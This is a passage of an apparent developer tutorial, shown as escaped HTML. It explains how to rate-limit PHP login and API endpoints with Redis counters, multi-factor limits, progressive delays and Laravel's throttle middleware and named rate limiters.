&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'rate_limit:'&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$identifier&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nv"&gt;$attempts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$redis&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;incr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$key&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$attempts&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nv"&gt;$redis&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;expire&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$windowSeconds&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$attempts&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="nv"&gt;$maxAttempts&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nv"&gt;$redis&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Redis&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="nv"&gt;$redis&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'127.0.0.1'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;6379&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="nv"&gt;$ip&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_SERVER&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'REMOTE_ADDR'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="s1"&gt;'0.0.0.0'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nv"&gt;$email&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;strtolower&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;trim&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'email'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;

&lt;span class="nv"&gt;$ipAllowed&lt;/span&gt;    &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;checkRateLimitRedis&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$redis&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'login:ip:'&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$ip&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nv"&gt;$emailAllowed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;checkRateLimitRedis&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$redis&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'login:email:'&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$email&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;300&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nv"&gt;$ipAllowed&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nv"&gt;$emailAllowed&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;http_response_code&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;429&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Retry-After: 60'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;die&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Too many attempts. Please try again later.'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Note on atomicity:&lt;/strong&gt; the &lt;code&gt;INCR&lt;/code&gt; followed by &lt;code&gt;EXPIRE&lt;/code&gt; sequence is not a single atomic operation. In rare failure scenarios the key could be incremented without its expiry being set. For critical production implementations use a Redis transaction or Lua script to make the operation fully atomic.&lt;/p&gt;

&lt;h2&gt;
  
  
  Rate Limiting by Multiple Factors
&lt;/h2&gt;

&lt;p&gt;Rate limiting only by IP has a weakness  botnets distribute attempts across thousands of addresses, each making only a few requests. Rate limiting by multiple factors closes this gap:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ipAllowed&lt;/span&gt;       &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;checkRateLimitRedis&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$redis&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'login:ip:'&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$ip&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nv"&gt;$emailAllowed&lt;/span&gt;    &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;checkRateLimitRedis&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$redis&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'login:email:'&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$email&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;300&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nv"&gt;$combinedAllowed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;checkRateLimitRedis&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$redis&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'login:combined:'&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$ip&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="s1"&gt;':'&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$email&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nv"&gt;$ipAllowed&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nv"&gt;$emailAllowed&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nv"&gt;$combinedAllowed&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;http_response_code&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;429&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Retry-After: 60'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;die&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Too many attempts. Please try again later.'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;By IP&lt;/strong&gt; — stops automated attacks from single sources&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;By email&lt;/strong&gt; — prevents rotating IPs to attack one account&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;By IP plus email&lt;/strong&gt; — the most targeted limit for a specific attacker targeting a specific account&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Progressive Delays
&lt;/h2&gt;

&lt;p&gt;Instead of hard blocking after a threshold progressive delays increase the wait time after each failed attempt:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$delays&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="nv"&gt;$attempts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$redis&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'login:attempts:'&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$ip&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;?:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nv"&gt;$delay&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$delays&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;min&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$attempts&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;count&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$delays&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)];&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$delay&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$delay&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Legitimate users who mistype their password experience a small wait but are not hard blocked. Automated attackers are slowed dramatically because every attempt costs them time.&lt;/p&gt;

&lt;h2&gt;
  
  
  Rate Limiting in Laravel
&lt;/h2&gt;

&lt;p&gt;Laravel has a built-in rate limiting system that handles most of what you would build manually.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The throttle middleware — simplest approach:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nc"&gt;Route&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/login'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nc"&gt;AuthController&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;class&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'login'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
    &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;middleware&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'throttle:5,1'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// 5 attempts per 1 minute per IP&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is the minimum. For a production login endpoint you need more control.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Named rate limiters — the correct production approach:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="kn"&gt;use&lt;/span&gt; &lt;span class="nc"&gt;Illuminate\Cache\RateLimiting\Limit&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;use&lt;/span&gt; &lt;span class="nc"&gt;Illuminate\Support\Facades\RateLimiter&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="nc"&gt;RateLimiter&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'login'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;Request&lt;/span&gt; &lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="nc"&gt;Limit&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;perMinute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;by&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;()),&lt;/span&gt;
        &lt;span class="nc"&gt;Limit&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;perMinutes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;by&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;input&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'email'&lt;/span&gt;&lt;span class="p"&gt;)),&lt;/span&gt;
    &lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="nc"&gt;RateLimiter&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'api'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;Request&lt;/span&gt; &lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;user&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="o"&gt;?&lt;/span&gt; &lt;span class="nc"&gt;Limit&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;perMinute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;by&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;user&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nc"&gt;Limit&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;perMinute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;by&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="nc"&gt;RateLimiter&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'sensitive'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;Request&lt;/span&gt; &lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="nc"&gt;Limit&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;perMinute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;by&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;()),&lt;/span&gt;
        &lt;span class="nc"&gt;Limit&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;perHour&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;by&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;()),&lt;/span&gt;
    &lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nc"&gt;Route&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/login'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nc"&gt;AuthController&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;class&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'login'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
    &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;middleware&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'throttle:login'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="nc"&gt;Route&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/password/reset'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nc"&gt;PasswordController&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;class&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'send'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
    &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;middleware&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'throttle:sensitive'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="nc"&gt;Route&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;middleware&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'throttle:api'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;group&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nc"&gt;Route&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/user'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nc"&gt;UserController&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;class&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'show'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
    &lt;span class="nc"&gt;Route&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;apiResource&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'invoices'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;InvoiceController&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;class&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Manual rate limiting in controllers — maximum control:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="kn"&gt;use&lt;/span&gt; &lt;span class="nc"&gt;Illuminate\Support\Facades\RateLimiter&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;login&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;Request&lt;/span&gt; &lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
